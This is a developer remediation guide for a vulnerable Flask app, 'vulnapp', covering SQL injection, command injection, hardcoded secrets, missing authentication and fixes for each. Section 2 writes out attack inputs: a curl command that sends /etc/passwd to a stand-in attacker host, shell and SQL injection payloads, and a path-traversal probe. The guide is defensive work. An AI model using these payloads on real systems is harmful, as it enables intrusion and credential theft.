DEVELOPER REMEDIATION GUIDE

vulnapp — Developer Security Remediation Guide

Root-cause analysis, code fixes & sprint roadmap

PROJECT	vulnapp
BRANCH	master
DATE	2026-03-16
TOTAL FINDINGS	24

5 CRITICAL | 13 HIGH | 5 MEDIUM | 1 LOW

Table of Contents

For Engineering Leads: The One-Page Summary

1. How the Codebase Got Here: Understanding the Root Causes

2. What an Attacker Can Do Right Now (No Login Required)

3. File-by-File Remediation Instructions

- 3.1 `src/app.py` — Route Handlers
- 3.2 Adding Authentication and Authorization Decorators
- 3.3 `src/app.py` — Password Hashing
- 3.4 `src/app.py` — Reset Token Generation
- 3.5 `src/db.py` — Database Utilities
- 3.6 `config/settings.py` — Secrets and Configuration
- 3.7 `requirements.txt` — Dependency Updates

4. Architectural Recommendations

5. Sprint-Ready Remediation Roadmap

- Sprint 1 — Critical Findings (estimated: 8–12 hours)
- Sprint 2 — High Findings (estimated: 10–14 hours)
- Sprint 3 — Medium and Low Findings, Structural Improvements (estimated: 8–10 hours)

6. Verifying the Fixes

7. What Not to Change

Appendix A: Finding Reference Index

For Engineering Leads: The One-Page Summary

A security audit of the vulnapp codebase identified 24 vulnerabilities across 234 lines of Python. Five of these are rated Critical — meaning an attacker with nothing more than network access to the server can take complete control of it, extract the database, steal cloud credentials, and pivot to internal infrastructure. The vulnerabilities are not isolated incidents; they are the result of five recurring code patterns that appear throughout all three source files. Fixing these patterns systematically will resolve the majority of findings in a single sprint.

The most urgent issue is the `/run-report` endpoint, which executes arbitrary shell commands without requiring any login. Any person who can reach the server over HTTP can run `id`, `cat /etc/passwd`, or install a reverse shell. This endpoint should be taken offline immediately if it is reachable from a non-isolated network. The `/debug/config` endpoint is similarly urgent — it returns all environment variables to any anonymous caller, including any secrets injected at deployment time.

The remediation work is organized into three sprints. Sprint 1 (one week) addresses the five Critical findings and costs roughly 8–12 hours of developer time. Sprint 2 (one week) addresses the thirteen High findings. Sprint 3 (one week) addresses the remaining Medium and Low findings plus dependency upgrades. The total remediation effort is approximately three weeks of focused work for one developer. None of the fixes require architectural changes to the application — they are targeted corrections to existing code.

1. How the Codebase Got Here: Understanding the Root Causes

Before examining individual vulnerabilities, it helps to understand why so many exist in a small codebase. The audit context analysis identified five systemic patterns that collectively account for nearly every finding in the report. These are not accidents — they are the natural result of writing application code without a security-aware framework or code review process. Understanding the patterns is more valuable than memorizing a list of 24 issues, because fixing the pattern prevents the same mistake from being reintroduced in new code.

The first pattern is f-string SQL construction. Every database interaction in `app.py` builds its SQL query by embedding user-supplied strings directly into a Python f-string, then passing the result to `sqlite3.execute()`. This approach feels natural because Python f-strings are the idiomatic way to build dynamic strings, and SQL queries need dynamic values. The problem is that SQLite's `execute()` function treats the entire string as a command — so a value like `' OR '1'='1' --` embedded in the query becomes part of the SQL logic rather than a data value. The correct approach, using parameterized queries with `?` placeholders, exists in the Python standard library and costs exactly the same amount of code to write. The pattern appears in five locations: `app.py:35`, `app.py:59`, `app.py:103`, `app.py:133`, and `db.py:23–26`. Every one of these locations is exploitable.

The second pattern is hardcoded secrets. The codebase stores seven distinct credentials directly in source files: the Flask session signing key in `app.py:15`, AWS access key and secret in `settings.py:8–9`, a JWT secret in `settings.py:13`, a Stripe production key in `settings.py:16`, and database credentials in `db.py:11–13`. The correct pattern — `os.environ["KEY_NAME"]` with no default fallback — is already used for `DATABASE_URL` and `REDIS_URL` in `settings.py:19–20`, demonstrating that the team is aware of the right approach. The hardcoded secrets represent inconsistent application of a known principle rather than ignorance of it. The consequence is that anyone who reads the source code, checks out the repository, sees a CI log, or reaches the unauthenticated `/debug/config` endpoint has all seven credentials.

The third pattern is absent authentication and authorization. The application has a session-based authentication mechanism (`session["user_id"]`) that is checked in exactly one route handler (`get_user()`). Every other sensitive endpoint — including `/admin/users`, `/debug/config`, `/run-report`, `/download`, and `/forgot-password` — performs no session check. There is also no authorization check anywhere in the codebase: the `session["role"]` value written during login is never read back in any route handler. The result is that the distinction between anonymous, regular, and admin users exists only in the database and session cookie — it has no effect on what any caller can access.

The fourth pattern is unclosed database connections. Every call to `sqlite3.connect()` in the codebase — six locations across `app.py` and `db.py` — opens a connection that is never explicitly closed. The connections are released by Python's garbage collector when the connection object goes out of scope, which typically happens promptly in CPython but is not guaranteed in all Python implementations or under memory pressure. Under sustained request load, connection handles accumulate, and the application will eventually exhaust the operating system's per-process file descriptor limit (typically 1024 on Linux), causing all further database operations to fail with "too many open files" errors. Using Python's context manager syntax (`with sqlite3.connect(...) as db`) solves this completely.

The fifth pattern is the disconnection between `config/settings.py` and `app.py`. The settings module defines `CORS_ORIGINS`, `MAX_CONTENT_LENGTH`, `DEBUG`, `JWT_SECRET`, and `STRIPE_SECRET_KEY` — but `app.py` never imports from it. These configuration values have no effect on the running application. `app.py` reads `DEBUG` from the environment separately and defines its own `app.secret_key` inline. The settings module is effectively dead configuration: it defines values, but nothing consumes them. This means the CORS wildcard policy and the `None` content length limit in `settings.py` are not active — but they represent the intended configuration that a future developer might wire up, at which point the insecure defaults become active vulnerabilities.

2. What an Attacker Can Do Right Now (No Login Required)

This section describes the three most dangerous attack paths available to anyone with network access to the server. It is written in developer terms to make the risk concrete rather than abstract.

Remote code execution via `/run-report`. Sending the HTTP request `GET /run-report?name=x;+id` causes the server to execute the shell command `generate_report.sh x; id`. The semicolon is a shell command separator. Because `subprocess.run()` is called with `shell=True`, the entire string is passed to `/bin/sh -c`, which interprets metacharacters normally. The output of the `id` command appears in the JSON response. Replacing `id` with `curl attacker.com/$(cat /etc/passwd | base64)` exfiltrates the password file. Replacing it with a Python one-liner creates a persistent reverse shell. No authentication is required. This is the highest-severity finding in the codebase.

Full credential exfiltration via `/debug/config`. Sending `GET /debug/config` returns a JSON object containing every environment variable in the application's process. If the server is deployed with secrets in the environment (which is the recommended practice for 12-factor applications), those secrets appear in this response. Combined with the seven credentials hardcoded in source files — including an AWS access key, a Stripe production key, and the Flask session signing key — an attacker who reaches this endpoint has everything needed to: sign into AWS and access or destroy cloud resources; charge customers via the Stripe API; and forge valid session cookies to impersonate any user without logging in.

Full database dump via `/admin/users`. Sending `GET /admin/users` returns all user records including IDs, usernames, email addresses, and roles. No authentication is required. This endpoint is named as if it should be admin-only, but contains no access check of any kind. Combined with the SQL injection in the `/login` endpoint — which can be exploited with `username: ' OR '1'='1' --` to log in without a valid password — an attacker can obtain both the session and the underlying password hashes in two consecutive unauthenticated requests. The password hashes use MD5 without a salt, which means common passwords can be reversed in seconds using freely available rainbow tables.

3. File-by-File Remediation Instructions

3.1 `src/app.py` — Route Handlers

`app.py` contains eleven of the twenty-four findings. The remediation changes fall into five categories: replacing f-string SQL with parameterized queries, removing the hardcoded Flask secret key, adding authentication and authorization guards, fixing the path traversal in the download handler, and removing the unsafe shell invocation in the report runner.

Replacing the Flask secret key (line 15). The current line `app.secret_key = "hardcoded-secret-key-1234"` must be replaced with a value loaded from the environment. The correct replacement is:

```
import secrets as _secrets
app.secret_key = os.environ.get("FLASK_SECRET_KEY") or _secrets.token_hex(32)
```

This generates a cryptographically random 32-byte key if the environment variable is not set. In production, `FLASK_SECRET_KEY` must be set to a fixed random value so that sessions survive application restarts. The generated fallback is appropriate for local development only. Note that changing the secret key invalidates all existing sessions, which is the desired behavior when rotating a compromised key.

Fixing SQL injection in `login()` (lines 35–40). The f-string query must be replaced with a parameterized query. The current implementation also logs the query string, which includes the user's plaintext password — that log line must be removed entirely. The replacement:

```
def login():
    username = request.json.get("username", "")
    password = request.json.get("password", "")
    hashed = hashlib.md5(password.encode()).hexdigest()  # temporary — see §3.3

    db = get_db()
    cursor = db.cursor()
    cursor.execute(
        "SELECT * FROM users WHERE username = ? AND password = ?",
        (username, hashed)
    )
    user = cursor.fetchone()
    # logger.debug line removed — never log queries containing credentials
```

Note that the MD5 hash is a temporary measure acknowledged here. Section 3.3 covers replacing MD5 with a proper password hashing function. The parameterization fix and the password hashing fix should be applied together to avoid two separate schema migrations.

Fixing SQL injection in `register()` (line 59). The f-string INSERT must be replaced:

```
db.execute(
    "INSERT INTO users (username, password) VALUES (?, ?)",
    (username, hashed)
)
```

Input length validation should also be added before the database call. A username longer than 64 characters or a password shorter than 8 characters should return a 400 response rather than proceeding to storage.

Fixing the command injection in `run_report()` (lines 86–89). The `shell=True` invocation is the root cause. The fix requires two changes: passing the command as a list (which prevents shell metacharacter interpretation), and validating the report name against an explicit allowlist before passing it to the subprocess:

```
ALLOWED_REPORTS = {"daily", "weekly", "monthly", "summary"}

@app.route("/run-report")
@login_required          # add authentication — see §3.2
def run_report():
    report_name = request.args.get("name", "")
    if report_name not in ALLOWED_REPORTS:
        return jsonify({"error": "unknown report"}), 400
    result = subprocess.run(
        ["/usr/local/bin/generate_report.sh", report_name],
        capture_output=True, text=True, timeout=30
    )
    return jsonify({"output": result.stdout})
```

The `timeout=30` argument prevents the endpoint from hanging indefinitely if the script stalls. The authentication decorator is described in Section 3.2.

Fixing the path traversal in `download_file()` (lines 71–72). The fix requires resolving the path and verifying it remains within the `uploads/` directory:

```
import pathlib

@app.route("/download")
@login_required          # add authentication — see §3.2
def download_file():
    filename = request.args.get("file", "")
    if not filename:
        return "file parameter required", 400
    base_dir = pathlib.Path(os.path.dirname(__file__), "uploads").resolve()
    try:
        target = (base_dir / filename).resolve()
        target.relative_to(base_dir)  # raises ValueError if outside base
    except (ValueError, OSError):
        return "access denied", 403
    try:
        return target.read_text()
    except FileNotFoundError:
        return "not found", 404
```

`pathlib.Path.resolve()` expands `..` components and symlinks to an absolute canonical path. `relative_to()` then verifies the resolved path is still a descendant of `base_dir`. An absolute path like `/etc/passwd` passed as `filename` will resolve to itself, and `relative_to(base_dir)` will raise `ValueError`, triggering the 403 response.

Fixing SQL injection in `get_user()` (line 103). The URL path parameter `user_id` must be validated as an integer and parameterized:

```
@app.route("/user/<user_id>")
@login_required
def get_user(user_id):
    if not user_id.isdigit():
        return jsonify({"error": "invalid id"}), 400
    if str(session["user_id"]) != user_id and session.get("role") != "admin":
        return jsonify({"error": "forbidden"}), 403
    db = get_db()
    cursor = db.execute(
        "SELECT id, username, email FROM users WHERE id = ?",
        (int(user_id),)
    )
    user = cursor.fetchone()
    if not user:
        return jsonify({"error": "not found"}), 404
    return jsonify({"id": user[0], "username": user[1], "email": user[2]})
```

The ownership check (`session["user_id"] != user_id`) ensures a regular user can only view their own record. The admin bypass (`session.get("role") == "admin"`) preserves legitimate admin access.

Fixing the missing authorization on `/admin/users` (lines 111–116). This endpoint requires both authentication (session exists) and authorization (session role is admin):

```
@app.route("/admin/users")
@login_required
@role_required("admin")
def list_users():
    db = get_db()
    cursor = db.execute("SELECT id, username, email, role FROM users")
    return jsonify([
        {"id": r[0], "username": r[1], "email": r[2], "role": r[3]}
        for r in cursor.fetchall()
    ])
```

Fixing SQL injection in `forgot_password()` (line 133) and removing token from logs (line 136):

```
@app.route("/forgot-password", methods=["POST"])
def forgot_password():
    email = request.json.get("email", "")
    token = generate_reset_token()
    db = get_db()
    db.execute(
        "UPDATE users SET reset_token = ? WHERE email = ?",
        (token, email)
    )
    db.commit()
    # logger.info line removed — never log security tokens
    return jsonify({"status": "sent"})
```

Removing the `/debug/config` endpoint (lines 158–161). This endpoint has no legitimate use in a production application. Delete the function and its route decorator entirely. If a health check endpoint is needed for load balancers or monitoring systems, replace it with a minimal response that exposes no sensitive data:

```
@app.route("/health")
def health():
    return jsonify({"status": "ok"})
```

Fixing the debug mode default (line 165). The entry point `app.run(debug=True)` enables the Werkzeug interactive debugger in all environments. Change it to:

```
if __name__ == "__main__":
    app.run(debug=os.environ.get("DEBUG", "false").lower() == "true")
```

3.2 Adding Authentication and Authorization Decorators

Several route handlers require a consistent authentication check. Rather than adding `if "user_id" not in session` to every function body, implement reusable decorators that can be applied with a single line. Place these immediately after the `app = Flask(__name__)` initialization:

```
from functools import wraps

def login_required(f):
    @wraps(f)
    def decorated(*args, **kwargs):
        if "user_id" not in session:
            return jsonify({"error": "unauthorized"}), 401
        return f(*args, **kwargs)
    return decorated

def role_required(role):
    def decorator(f):
        @wraps(f)
        def decorated(*args, **kwargs):
            if "user_id" not in session:
                return jsonify({"error": "unauthorized"}), 401
            if session.get("role") != role:
                return jsonify({"error": "forbidden"}), 403
            return f(*args, **kwargs)
        return decorated
    return decorator
```

Apply `@login_required` to: `download_file`, `run_report`, `get_user`, `list_users`. Apply `@role_required("admin")` to `list_users` in place of `@login_required` (the role decorator includes the authentication check). Leave `login`, `register`, and `forgot_password` without decorators — these are intentionally public endpoints.

3.3 `src/app.py` — Password Hashing

The `register()` function hashes passwords using `hashlib.md5()`, which is a fast cryptographic hash not designed for password storage. MD5 produces a 128-bit digest with no work factor and no salt, meaning identical passwords produce identical hashes and modern GPUs can compute approximately 100 billion MD5 hashes per second. Replace MD5 with Werkzeug's `generate_password_hash`, which uses scrypt by default and handles salting automatically:

```
from werkzeug.security import generate_password_hash, check_password_hash

# In register():
hashed = generate_password_hash(password)  # replaces hashlib.md5

# In login():
# Retrieve the stored hash, then:
if user and check_password_hash(user[2], password):  # user[2] = password column
    session["user_id"] = user[0]
    session["role"] = user[3]
    return jsonify({"status": "ok", "role": user[3]})
return jsonify({"status": "unauthorized"}), 401
```

Note that switching password hashing algorithms requires a migration strategy for existing users. Existing MD5 hashes cannot be converted without the original plaintext passwords. The recommended approach is to mark existing accounts as requiring a password reset on next login: when a user successfully logs in with a correct MD5 hash, rehash their password with scrypt and update the stored value at that point. This provides a rolling migration without disrupting users.

3.4 `src/app.py` — Reset Token Generation

The `generate_reset_token()` function uses `random.randint(100000, 999999)`, which is Python's Mersenne Twister pseudo-random number generator. This is not a cryptographically secure generator, and the 900,000-value output space is small enough to enumerate by brute force in under an hour at moderate request rates. Replace it with the `secrets` module, which uses the operating system's cryptographic random source:

```
import secrets

def generate_reset_token():
    return secrets.token_urlsafe(32)  # 256 bits of entropy, URL-safe encoding
```

The token is now a 43-character URL-safe string with 256 bits of entropy, which is computationally infeasible to brute-force. Additionally, add a `reset_token_expires` column to the database schema and populate it with `datetime.utcnow() + timedelta(minutes=15)` when generating a token. The token validation endpoint should check both token value and expiry, and should invalidate the token on first use.

3.5 `src/db.py` — Database Utilities

The `raw_query()` function injects both the table name and filter values directly into the SQL string. While this function is not currently called from any route handler in `app.py`, it represents a dangerous utility that will create vulnerabilities the moment it is connected to HTTP input. The table name cannot be parameterized in SQL — the correct mitigation is an explicit allowlist checked before query construction. Filter values must use `?` placeholders:

```
ALLOWED_TABLES = {"users", "sessions", "products"}

def raw_query(table, filters):
    if table not in ALLOWED_TABLES:
        raise ValueError(f"Table '{table}' is not in the allowed list")
    with sqlite3.connect(DB_PATH) as db:
        placeholders = " AND ".join(f"{k} = ?" for k in filters)
        values = list(filters.values())
        query = f"SELECT * FROM {table} WHERE {placeholders}"
        return db.execute(query, values).fetchall()
```

The `with sqlite3.connect(...) as db` context manager ensures the connection is closed when the block exits, even if an exception occurs. This same pattern should be applied to `bulk_insert()` and every `get_db()` call in `app.py`.

The `bulk_insert()` function already uses `?` placeholders for row values — this correct practice must be preserved. The table name injection in `bulk_insert()` must be fixed with the same allowlist approach:

```
def bulk_insert(table, rows):
    if table not in ALLOWED_TABLES:
        raise ValueError(f"Table '{table}' is not in the allowed list")
    with sqlite3.connect(DB_PATH) as db:
        for row in rows:
            placeholders = ", ".join("?" * len(row))
            db.execute(f"INSERT INTO {table} VALUES ({placeholders})", row)
        db.commit()
```

The hardcoded database credentials (`DB_USER = "admin"`, `DB_PASSWORD = "admin123"`, `DB_HOST = "10.0.1.10"`) at lines 11–13 must be removed and loaded from the environment:

```
DB_USER = os.environ["DB_USER"]
DB_PASSWORD = os.environ["DB_PASSWORD"]
DB_HOST = os.environ["DB_HOST"]
```

These variables should have no default values. A missing environment variable at startup is the correct failure mode — it is far better to crash at startup with a clear "missing environment variable" error than to start silently with hardcoded credentials.

3.6 `config/settings.py` — Secrets and Configuration

Every hardcoded secret in `settings.py` must be replaced with an environment variable lookup. The complete remediated file:

```
import os

# Cloud credentials — load from IAM role or secrets manager; never hardcode
AWS_ACCESS_KEY_ID     = os.environ.get("AWS_ACCESS_KEY_ID")
AWS_SECRET_ACCESS_KEY = os.environ.get("AWS_SECRET_ACCESS_KEY")
AWS_REGION            = os.environ.get("AWS_REGION", "us-east-1")

# Auth secrets — must be set at deployment time; no defaults
JWT_SECRET        = os.environ["JWT_SECRET"]
STRIPE_SECRET_KEY = os.environ["STRIPE_SECRET_KEY"]

# Runtime config
DATABASE_URL = os.environ.get("DATABASE_URL", "sqlite:///users.db")
REDIS_URL    = os.environ.get("REDIS_URL", "redis://localhost:6379")

# Debug — safe default is False
DEBUG = os.environ.get("DEBUG", "false").lower() == "true"

# CORS — explicitly enumerate allowed origins; never use wildcard for APIs with sessions
CORS_ORIGINS = os.environ.get("CORS_ORIGINS", "").split(",")

# Request size limit — 1 MB is appropriate for a JSON API
MAX_CONTENT_LENGTH = int(os.environ.get("MAX_CONTENT_LENGTH", str(1 * 1024 * 1024)))
```

For AWS credentials specifically, prefer IAM instance profiles or ECS task roles over long-lived access keys. If the application runs on AWS, the SDK will automatically use the instance's assigned role without requiring any credentials in the environment. This is strictly better than any credentials-in-env approach.

The `settings.py` module must also be imported and applied in `app.py`. Currently, `app.py` does not import `settings.py` at all, meaning `CORS_ORIGINS`, `MAX_CONTENT_LENGTH`, and `DEBUG` defined in the settings module have no effect on the running application. Add the following to `app.py` after the Flask app initialization:

```
from config import settings
app.config["MAX_CONTENT_LENGTH"] = settings.MAX_CONTENT_LENGTH
```

3.7 `requirements.txt` — Dependency Updates

The dependency manifest pins four packages with known security vulnerabilities. All should be upgraded:

```
Flask>=3.0.0
Werkzeug>=3.0.0
requests>=2.31.0
PyYAML>=6.0.1
cryptography>=42.0.0
```

The most urgent upgrade is PyYAML. Version 5.3.1 is affected by CVE-2020-14343, which allows arbitrary Python code execution when `yaml.load()` is called without specifying a safe loader. After upgrading, audit all `yaml.load()` calls in the codebase and replace them with `yaml.safe_load()`. If PyYAML is used only as a transitive dependency (not called directly), verify that no dependency calls `yaml.load()` on untrusted data.

After upgrading, run `pip audit` to verify no remaining known vulnerabilities exist in the dependency tree. Consider adding `pip audit` as a step in the CI pipeline to catch new CVEs automatically.

---

4. Architectural Recommendations

Beyond the specific code fixes, the codebase has three structural issues that should be addressed in a follow-up sprint to prevent the same classes of vulnerability from reappearing.

The first recommendation is to unify the database access layer. Currently `app.py` and `db.py` each manage their own SQLite connections independently, using different code patterns that neither enforce parameterization nor connection cleanup. A single database access layer — either a lightweight wrapper class or SQLAlchemy's ORM — would make parameterization the default behavior and connection pooling automatic. Every route handler that currently calls `get_db()` directly would instead call through the shared layer, and the correct behavior would be inherited rather than requiring per-route implementation.

The second recommendation is to introduce request validation at the boundary. Every route handler currently begins by extracting raw strings from `request.json` or `request.args` and passing them directly to business logic. A request validation library such as marshmallow or pydantic would define the expected shape of each request — field names, types, lengths, formats — and reject malformed requests before they reach the database or filesystem. This is not just a security measure: it also improves error messages, makes the API contract explicit, and eliminates an entire category of `AttributeError` exceptions caused by missing or null request fields (such as the `password.encode()` crash in `register()` when `password` is `None`).

The third recommendation is to adopt a secrets manager rather than environment variables for sensitive credentials. Environment variables are readable by any process running as the same user, appear in process listings, and can be accidentally logged. AWS Secrets Manager, HashiCorp Vault, or GCP Secret Manager provide audit trails for secret access, automatic rotation, fine-grained access control, and version history. The application should request credentials from the secrets manager at startup rather than expecting them to be pre-injected into the environment. The `boto3` and `hvac` libraries provide straightforward Python clients for the most common secrets managers.

5. Sprint-Ready Remediation Roadmap

Sprint 1 — Critical Findings (estimated: 8–12 hours)

The five Critical findings present the highest risk of immediate harm. Completing this sprint eliminates the remote code execution path, removes credential exposure endpoints, and prevents session forgery. These changes should be treated as urgent and reviewed on the same day they are submitted.

The work items for Sprint 1 are: remove or gate the `/debug/config` endpoint (2 hours, including test coverage); replace the hardcoded Flask session secret with an environment variable (1 hour); add authentication and authorization decorator functions and apply them to unprotected endpoints (3 hours); replace the `subprocess.run(shell=True)` call in `run_report()` with a list-based invocation guarded by an allowlist (2 hours); and rotate and remove the hardcoded AWS, Stripe, and JWT credentials from `settings.py` (1 hour, plus coordination time for credential rotation).

Sprint 2 — High Findings (estimated: 10–14 hours)

Sprint 2 addresses the thirteen High findings. The majority of this work is replacing f-string SQL with parameterized queries across five locations, upgrading the password hashing algorithm, replacing the weak reset token generator, and fixing the path traversal vulnerability.

The work items for Sprint 2 are: replace all five f-string SQL queries with parameterized equivalents (3 hours); implement the `werkzeug.security` password hashing with migration strategy for existing accounts (4 hours); replace `random.randint` with `secrets.token_urlsafe` and add token expiry logic (2 hours); fix path traversal using `pathlib.resolve()` and `relative_to()` (1 hour); upgrade all four vulnerable dependencies and run `pip audit` (1 hour); and connect `settings.py` to `app.py` so configuration values take effect (1 hour).

Sprint 3 — Medium and Low Findings, Structural Improvements (estimated: 8–10 hours)

Sprint 3 addresses the remaining five Medium findings and one Low finding, and implements the architectural recommendations that prevent future regressions.

The work items for Sprint 3 are: add `ALLOWED_TABLES` allowlist to `raw_query()` and `bulk_insert()` in `db.py` (1 hour); remove the two sensitive log lines from `login()` and `forgot_password()` (30 minutes); replace the wildcard CORS configuration with explicit allowed origins (1 hour); add `MAX_CONTENT_LENGTH` enforcement to prevent memory exhaustion (30 minutes); replace all bare `sqlite3.connect()` calls with context managers (1 hour); add request validation using marshmallow or pydantic for all route inputs (3 hours); and remove the dead `call_internal_service()` function or add TLS and configuration-based URL loading if it is needed (1 hour).

6. Verifying the Fixes

Each category of fix has a straightforward verification approach that does not require a security testing tool.

For SQL injection fixes, verify that the parameterized query replaces every f-string that previously contained user input. A grep for `f"SELECT`, `f"INSERT`, `f"UPDATE`, and `f"DELETE` in the source tree should return zero results after remediation. If any remain, they require review. As a functional test, attempt to register with username `'; DROP TABLE users; --` and verify the username is stored literally rather than causing a SQL error or data modification.

For the command injection fix, verify that `shell=True` does not appear in any `subprocess` call in the codebase (`grep -r "shell=True"` should return zero results). As a functional test, attempt to call `/run-report?name=x;+id` and verify the response is a 400 error rather than command output.

For the path traversal fix, verify that `pathlib.resolve()` and `relative_to()` are present in the `download_file()` handler. As a functional test, attempt `GET /download?file=../../config/settings.py` and verify the response is 403.

For the authentication fixes, verify that every route except `login`, `register`, and `forgot_password` returns 401 when called without a session cookie. As a functional test, send unauthenticated requests to `/admin/users`, `/debug/config`, `/download`, and `/run-report` and verify all return 401.

For the secrets rotation, verify using `git log -p config/settings.py` that the hardcoded secret strings are not present in any commit in the repository history. If they are present in history, the credentials must be considered permanently compromised regardless of whether they are removed from the current HEAD, and must be rotated at the provider level (AWS IAM console, Stripe dashboard, etc.).

7. What Not to Change

The audit identified three behaviors in the current codebase that are implemented correctly and must be preserved during remediation.

The `bulk_insert()` function in `db.py` already uses `?` placeholders for inserted values. This correct parameterization pattern must not be accidentally reverted when adding the table name allowlist or the context manager.

The `forgot_password()` function returns `{"status": "sent"}` regardless of whether the provided email address exists in the database. This prevents user enumeration: an attacker cannot use the forgot-password endpoint to determine which email addresses have accounts. This behavior must be preserved when fixing the SQL injection — the consistent response should continue to be returned whether or not the UPDATE affected any rows.

The `register()` function hashes the password before storage. Even though MD5 is being replaced with scrypt, the intent — never store plaintext passwords — must be preserved. Ensure the new implementation calls `generate_password_hash(password)` before the database INSERT, not after.

Appendix A: Finding Reference Index

Finding	Severity	File	Line	Sprint
VUL-001 SQL injection /login	Critical	app.py	35	Sprint 1
VUL-002 Command injection /run-report	Critical	app.py	86	Sprint 1
VUL-003 Unauthenticated /debug/config	Critical	app.py	159	Sprint 1
VUL-004 Hardcoded AWS credentials	Critical	settings.py	8	Sprint 1
VUL-005 Hardcoded Flask session secret	Critical	app.py	15	Sprint 1
VUL-006 Missing auth on /admin/users	High	app.py	110	Sprint 2
VUL-007 SQL injection /forgot-password	High	app.py	133	Sprint 2
VUL-008 SQL injection /user/<id>	High	app.py	103	Sprint 2
VUL-009 SQL injection /register	High	app.py	59	Sprint 2
VUL-010 SQL injection db.raw_query()	High	db.py	22	Sprint 2
VUL-011 Path traversal /download	High	app.py	72	Sprint 2
VUL-012 MD5 password hashing	High	app.py	56	Sprint 2
VUL-013 Weak PRNG reset token	High	app.py	123	Sprint 2
VUL-014 Hardcoded JWT secret	High	settings.py	13	Sprint 1
VUL-015 Hardcoded Stripe key	High	settings.py	16	Sprint 1
VUL-016 Hardcoded DB credentials	High	db.py	11	Sprint 1
VUL-017 Flask debug mode enabled	High	app.py	165	Sprint 2
VUL-018 PyYAML 5.3.1 CVE-2020-14343	High	requirements.txt	4	Sprint 2
VUL-019 IDOR /user/<user_id>	Medium	app.py	97	Sprint 2
VUL-020 Passwords/tokens in logs	Medium	app.py	36,136	Sprint 3
VUL-021 Wildcard CORS policy	Medium	settings.py	26	Sprint 3
VUL-022 Plaintext HTTP internal	Medium	app.py	142	Sprint 3
VUL-023 No request size limits	Medium	settings.py	29	Sprint 3
VUL-024 DB connection leak	Low	db.py	35	Sprint 3

Appendix — Full Findings Inventory

VUL-001 SQL Injection in /login Enables Authentication Bypass and Full Database Access

CRITICAL

LOCATION

src/app.py:35-40 (login)

DESCRIPTION

The login handler builds its SQL query by directly interpolating untrusted user-supplied username and password strings using an f-string. No parameterized queries or escaping are applied. An attacker can inject arbitrary SQL to bypass authentication entirely (e.g., username: ' OR '1'='1' --) or extract all data via UNION-based or time-based blind injection. The raw query is also logged at DEBUG level, causing credentials to appear in log files.

IMPACT

Complete authentication bypass with no credentials required. Attacker obtains a valid session as any user (typically the first row, often an admin). Full database read/write via SQL injection. Password hashes, PII, reset tokens, and all user data exfiltrated.

REMEDIATION

Use parameterized queries exclusively: cursor.execute("SELECT * FROM users WHERE username = ? AND password = ?", (username, hashed_password)) Never log query strings containing user input. Remove the logger.debug line entirely.

VUL-002 Unauthenticated OS Command Injection via /run-report Enables Remote Code Execution

CRITICAL

LOCATION

src/app.py:83-90 (run_report)

DESCRIPTION

The /run-report endpoint accepts a 'name' query parameter and passes it unsanitized directly to subprocess.run() with shell=True. This allows an unauthenticated attacker to inject arbitrary shell commands. The endpoint requires no authentication. An attacker can execute any command as the application's OS user, read the filesystem, exfiltrate environment variables, install backdoors, or pivot to internal services.

IMPACT

Full remote code execution on the server without any authentication or preconditions. Complete server compromise, data exfiltration, lateral movement to the internal network (10.0.1.5), and persistence establishment.

REMEDIATION

Never use shell=True with user-supplied input. Validate against an allowlist and pass as a list: ALLOWED = {"daily", "weekly", "summary"} if report_name not in ALLOWED: return jsonify({"error": "invalid report"}), 400 result = subprocess.run(["/usr/local/bin/generate_report.sh", report_name], capture_output=True, text=True) Also require authentication on this endpoint.

VUL-003 Unauthenticated /debug/config Endpoint Exposes All Environment Variables and Runtime Secrets

CRITICAL

LOCATION

src/app.py:158-161 (debug_config)

DESCRIPTION

The /debug/config endpoint returns the complete process environment (dict(os.environ)) to any caller with no authentication. This exposes all environment variables including any secrets injected at runtime (DATABASE_URL, REDIS_URL, API keys, cloud credentials, etc.). Combined with the hardcoded secrets in config/settings.py, this endpoint provides complete credential exfiltration in a single unauthenticated HTTP request.

IMPACT

Complete disclosure of all runtime secrets. An attacker calling GET /debug/config immediately obtains AWS keys, Stripe keys, database URLs, and any other secrets present in the environment — without authentication. Enables immediate cloud account takeover and financial fraud.

REMEDIATION

Remove this endpoint entirely from production code. If a health endpoint is needed: @app.route("/health") def health(): return jsonify({"status": "ok", "version": APP_VERSION}) Never expose os.environ in any HTTP response.

VUL-004 Hardcoded AWS Access Key and Secret Key Exposed in Source Code

CRITICAL

LOCATION

config/settings.py:8-9

DESCRIPTION

AWS_ACCESS_KEY_ID and AWS_SECRET_ACCESS_KEY are hardcoded as string literals in config/settings.py. Any developer with repository access, any CI/CD log, or any code scanning tool immediately obtains these credentials. The 'AKIA' prefix indicates an IAM user long-term access key (not a role). If these represent real credentials, an attacker has permanent AWS API access until the key is manually rotated.

IMPACT

Full AWS account access. Attacker can enumerate and exfiltrate S3 buckets, read Secrets Manager secrets, modify IAM policies for privilege escalation, spin up EC2 instances, and destroy infrastructure. Immediate financial and data breach liability.

REMEDIATION

Immediately rotate any real credentials matching these values. Remove from source and load from environment: AWS_ACCESS_KEY_ID = os.environ['AWS_ACCESS_KEY_ID'] For AWS, prefer IAM instance profiles/roles over long-lived access keys. Scan git history with truffleHog or gitleaks to confirm no prior commits leaked real keys.

VUL-005 Hardcoded Flask Session Secret Enables Arbitrary Session Forgery and Admin Impersonation

CRITICAL

LOCATION

src/app.py:15

DESCRIPTION

The Flask application's secret key is set to the literal string 'hardcoded-secret-key-1234'. Flask uses this key to sign session cookies via HMAC. Because the key is in the source code, any attacker with repo access can use flask-unsign or itsdangerous directly to forge arbitrary session cookies — setting user_id and role to any desired value without needing to authenticate at all.

IMPACT

Complete session forgery. Attacker crafts a valid signed session cookie with any user_id and role='admin', bypassing all authentication and role-based controls. Enables impersonation of any user including administrators with zero authentication required.

REMEDIATION

Generate a cryptographically random secret loaded from the environment: import secrets app.secret_key = os.environ.get('FLASK_SECRET_KEY') or secrets.token_hex(32) The generated secret must be at least 32 bytes of random data and stored in a secrets manager, never in source code.

VUL-006 Missing Authentication and Authorization on /admin/users Exposes Full User Database

HIGH

LOCATION

src/app.py:110-116 (list_users)

DESCRIPTION

The /admin/users endpoint performs no authentication check (no session validation) and no authorization check (no role verification). Any unauthenticated HTTP GET request returns all user records including IDs, usernames, email addresses, and roles. The route name implies admin-only access, but there is no enforcement mechanism whatsoever.

IMPACT

Complete unauthenticated disclosure of all user accounts, email addresses, roles, and usernames. Enables targeted phishing, credential stuffing, account enumeration, and identification of admin accounts for targeted attacks.

REMEDIATION

